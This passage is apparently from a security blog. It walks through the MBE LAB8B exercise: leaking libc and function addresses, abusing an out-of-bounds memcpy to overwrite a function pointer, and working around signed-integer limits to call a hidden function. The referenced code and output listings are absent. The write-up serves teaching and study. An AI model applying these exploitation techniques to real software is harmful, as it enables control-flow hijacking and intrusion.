Once receiving our "3\n" it asks for the vector number by calling vectorSel():

The problem with this is that it is using getchar() to read the vector number. So, if we send the number followed by a newline character, the number will be read, while the newline character will be pulled from our input as input to gets(). And since gets() treats newlines as terminators, it would effectively lead to gets() writing an empty null-terminated string to our v2 buffer. So it would basically overwrite the least significant byte of v2.printFunc pointer with a nullbyte, without placing our shell command payload where we wanted it.

And what can I say - it works:

The full exploit code can be found here

Out-of-bounds read-write with some integer sign flipping - MBE LAB8B walkthrough - the basic version

30 June 2019 at 10:58

I decided to skip the LAB8C ( writeup, as solving it did not even require running gdb - so I was like "muh".

Instead, let's look at LAB8B.

The target app

As usual, here's the source code:

Compilation flags

Below are the compilation flags from the comment at the top of the source file:

However, these flags do not seem to add up with the actual compilation flags used to produce the /levels/lab08/lab8B binary. My conclusion is that -fPIE -pie flags were NOT used when compiling, as the addresses in the code segment turned out to be fixed (but that's OK, we can leak mem from the program, having them ASLR-ed would not really make things much more difficult here). Plus, there' s a second (bonus) solution to this, which does not utilize those fixed addresses, but later on that. Also, this commit suggests some comment flags vs real compilation flags discrepancies in chapter 8's labs.

The code

Below is the data structure we are going to work on:

The core logic of the program is to allow us enterData() into v1 and v2 structures (just the numbers and the char, the printFunc pointer is initialized with a fixed value).

We can't manually enter data into the v3 vector. Instead, v3 is filled by adding the values of the corresponding v1 and v2 fields together (sumVectors()). For this to happen, neither of the v1 and v2 fields can be 0:

enterData() simply fills a vector structure with user-supplied numbers plus the vector.a char, using scanf() calls with format strings relevant to their declared types (signed/unsigned). The vector.a char is an exception to this, as it is read from stdin with a getchar() call:

This is our user interface:

And this is how our user interface is connected to methods:

Now, the most important method:

How v.printFunc pointers are initialized + what does printVector() do

By default all printFunc pointers point at printf():

When enterData() is called, v.printFunc is overwritten with printVector() address:

This means that asking the program to print a vector before we even enter it would make it call printf() on an yet empty vector. The only initialized field would be the printFunc, containing the current libc printf() address. So yeah, this is the first vulnerability, but it's not the only leak in this app.

The second leak is a feature of the program itself, implemented in the printVector() function:

So we can leak printVector() address, libc printf() address as well as the address of the v vector in the data segment.

The following simple exploit skeleton extracts both of the leaks:

The out-of-bounds-read-write

So, this is the vulnerability we are after:

We can allocate and copy up to MAX_FAVS (10) versions of v3 (can be the same v3 without making any changes to it) to the faves[] array.

The first fave (faves[0]) is a proper byte-to-byte copy of v3, because i is 0 at the time. The issue starts to manifest itself as i grows. So, a careful pick of the sum constituents (relevant corresponding v1 and v2 fields) along with the right choice of an i value from within the 0-9 range should allow us to arbitrarily overwrite the printFunc pointer in at least one of the faves. Then load it back to either v1 or v2 and task the program to print it.

But before we get ahead of ourselves, let's clarify few basic things first.

Sizes and paddings - how data is aligned in memory

In this case it seems like a good idea to start with checking the size of the struct vector structure, as well as its individual members. We also need to expect some padding (we're in 32-bit world here, so eventual space reserved for an object will be rounded to a multiply of 4).

Over the course of my work on this challenge, I compiled a few small C programs to test some stuff the easy way, here's one of them:

The output:

So we know that in our system (MBE VM) both int and long int have the same size. We also know the entire size of the struct vector = 44.

Since both longs take 8+8 (16), four integers take 4+4+4+4 (16), that's already 32. We also know that the printFunc pointer will take 4 bytes, making it 36. So, we have 8 more bytes occupied by two short integers and one char. This makes sense as short integers are two-byte variables, so 4 bytes are needed to contain two of them (making it all 40 so far). A single char takes only one byte (making it 41), so three more bytes of padding are required attain the nearest multiply of 4 (44).

But let's see how this actually looks like in memory. For this purpose, I created a skeleton of the exploit, simply filling the particular structure fields with a set of values making them easy to distinguish:

The text version is here:

A note about libc output buffering

When using pwnlib (pwntools), I highly recommend the additional stdin=PTY argument for the process() call (can save you a lot of frustration, whereas the output you expect from the target app does not arrive and you have the impression that the program hung). This particular challenge made me learn the hard way that by default pwnlib is using a pipe (not a PTY) as the standard input for our exploit. This means that the target application does not recognize its standard output as an active device (PTY), which would prevent libc from buffering data coming from its output routines like printf().   Some more details here:

Anyway, back to our memory alignment inspection. Running it (you might want to cp /levels/lab08/lab8B /tmp first):

Second console (for this, /proc/sys/kernel/yama/ptrace_scope  needs to be set to 0 - I keep it this way on MBE VM as it's efficient):

And here's the v1 contents after enterData()(easy to attach and see when the program is waiting for input here, no breakpoints needed):

A slightly closer look:

v1 test contents with clear distinction of data distribution, including the two null paddings marked white

Adding vectors

OK, now let's get two vectors summed, while trying to pick the v1 and v2 fields in such a way that we get expected values in v3 fields.

So, let's say we want our v3 sum to consist of consecutive capital letters, 'A','B','C' and so on.

This will make it easy to distinguish which bytes of the v3 vector are being copied to which bytes of the particular faves[i] structure, as the i offset grows.

As our v3 has to come from a sum of non-zero values, we will simply fill the first vector with growing natural numbers, starting at 0x1, while filling all the fields in the second vector with 0x40-s.

We can achieve 0x40 in particular memory cells by putting the following values in, depending on the type:

And here we go (again, full text version  can be found here

And here we have it:

Due to our v1 values being very small (0x1), the more-significant bytes of those values were nulls, producing 0x40 (no change) in v3 when summed with the more-significant bytes of their v2 counterparts. Fair enough, now we have a basic understanding how to manipulate v3 and therefore faves[i].

Options for execution control

Now, the best way to see our options here is to simply use the v3 contents we already have and add it to favorites 10 times or less (as we can't do more) and examine the resulting faves[i].printFunc pointer. Once we identify and pick the most favorable offset (the value of i that allows us to fully control the pointer with any of the v3 fields), we'll pick the proper v1 and v2 values once again so their sum is what we want and exploit it. Having the proper i we know how many times our v3 has to be added to favorites and as well what is the favorite number we want to ask the program to print for us to execute code from our arbitrarily provided address.

I initially though that i increments by 1 in the vulnerable memcpy() call will result in the pointer address being incremented by one byte as well.

Debugging, however, revealed that the expression is expanded with the variable type being a pointer to int (which is 4 bytes), hence consecutive increments of i will make the memcpy() source argument point at further and further whole dwords (double words, 4-byte chunks) of the current v3 contents.

Here's how faves[] change with every single fave() call:

i=0, faves[0] == v3, this is expected

So, for i=0, faves[0] is a complete copy of v3.

Now, after a second fave() call, i=1:

Yes, the second fave already has its printFunc pointer fully overwritten with data from our input (0x40420041)! So with every new favorite added the byte offset of the out-of-bound-read-write will effectively move by 4.

As we can see, i=1 is not sufficient for our desired pointer overwrite, because we cannot control the nullbyte (as opposed to every other byte) in the 0x40420041 value (that nullbyte comes from the char v3.a padding - beyond our control). The whole value contains v3.a with padding (two least significant bytes) and short int v3.b (two most significant bytes).

The next offset (i=2, faves[2]) is even worse, as we would have the unsigned short int v3.c being our new pointer (0x00004043 at the time of taking the above screenshot), which in turn has two padding nullbytes we cannot control:

Marked are faves[i].printFunc values

Offset i=3 does the trick (gives us full control over the pointer).

One more thing. We can't ask the program to directly call any of the faves[i].printFunc. Instead, we must load the particular favorite into one of the two work vectors (v1 or v2), then print it.


It looks like we're almost there.

The basic solution (without bonus points)

There's one more important code section I did not mention:

Long story short, the basic solution is to now pick our input in such a way that instead of 0x40404044, faves[3].printFunc contains the address of thisIsASecret().

Normally we would calculate the thisIsASecret() function's address based on the already leaked printVector() address:

But due to the missing -fPIE -pie flags this is not required. The address is simply 0x800010a7.

The problem with signs

Knowing that 0x800010a7 is 2147487911 in decimal, I simply tried to split it between v1.d and v2.d values as 2147487910 and 1.

This did not work, because d is a signed integer, with possible value range of -2147483648 <--> 2147483647. 2147487911 is slightly above the range. When provided to scanf("%d", &(v->d));, it ends up truncated to the maximum value of 0x7fffffff to avoid integer overflow.

0x7fffffff is 2147483647, while 0x80000000 is -2147483648. This means that our desired pointer is a negative number and we cannot achieve int overflows with scanf().

The arithmetic overflow, however, is entirely feasible when the values get added in the sumVectors() function. So v1.d = 2147487911 ending up as 0x7fffffff, summed with 0x1 made the value 0x80000000. Quite close, but not what we want.

There are several solutions to this:

  • stick to the values we already picked and just overflow the sum even more by setting v2.d to the 0x10a7 offset + 1, so v1.d=0x7fffffff + v2.d = 0x10a7 + 1 becomes 0x800010a7 or just pick some two static numbers that lead to the result we want (the simple and ugly solution, not to mention lazy as well)
  • dynamically leak the target value as a signed integer, using pwnlibs unpacking functions (e.g. number = u32(leak[0x0:0x4],sign="signed")) to get the value of the pointer interpreted as a signed integer, use if on v1.d input while putting the required calculation offset (e.g. difference between printVector() and thisIsASecret() or difference between system() and printf()) as v2.d, flipping the signs if needed - depending on whether the initial value is negative
  • dynamically leak and calculate the target value treating it as unsigned, then split it into half (e.g. for target 2147487911 that would be 1073743955 and 1073743956 for v1.d and v2.d inputs, respectively), so both inputs are within the signed int range for scanf() and still good for the overflow (smart, reliable and quite easy solution)
  • simply use the next offset i=4 instead of i=3, because v.e is an unsigned integer, so we get rid of the problem entirely (lazy and neat solution)

Thus, overflowing it even more with a statically picked values could go like this:

Knowing that:

  • 0x80000000 is -2147483648 (the bottom of the unsigned int range)
  • 0x8000010a7 is thisIsASecret() address
  • 0x10a7 is thisIsASecret() offset (4263 decimal)

we can pick 4263 and -2147483648 as v1.d, v2.d:

The full exploit code (basic non-bonus version)

The bonus version will follow in the second part.